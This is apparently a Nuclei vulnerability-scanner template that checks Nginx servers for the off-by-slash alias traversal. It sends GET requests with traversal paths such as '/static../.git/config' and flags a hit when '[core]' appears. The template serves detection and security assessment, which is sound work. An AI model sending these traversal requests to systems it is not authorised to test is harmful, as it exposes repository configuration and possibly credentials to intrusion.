id: git-config-nginxoffbyslash
info:
name: Nginx off-by-slash exposes Git config
author: organiccrap
severity: medium
description: Nginx off-by-slash vulnerability exposes Git configuration.
tags: config,exposure,nginx
reference:
- https://twitter.com/Random_Robbie/status/1262676628167110656
- https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
requests:
- method: GET
path:
- '{{BaseURL}}/static../.git/config'
- '{{BaseURL}}/js../.git/config'
- '{{BaseURL}}/images../.git/config'
- '{{BaseURL}}/img../.git/config'
- '{{BaseURL}}/css../.git/config'
- '{{BaseURL}}/assets../.git/config'
- '{{BaseURL}}/content../.git/config'
- '{{BaseURL}}/events../.git/config'
- '{{BaseURL}}/media../.git/config'
- '{{BaseURL}}/lib../.git/config'
stop-at-first-match: true
matchers:
- type: word
words:
- '[core]'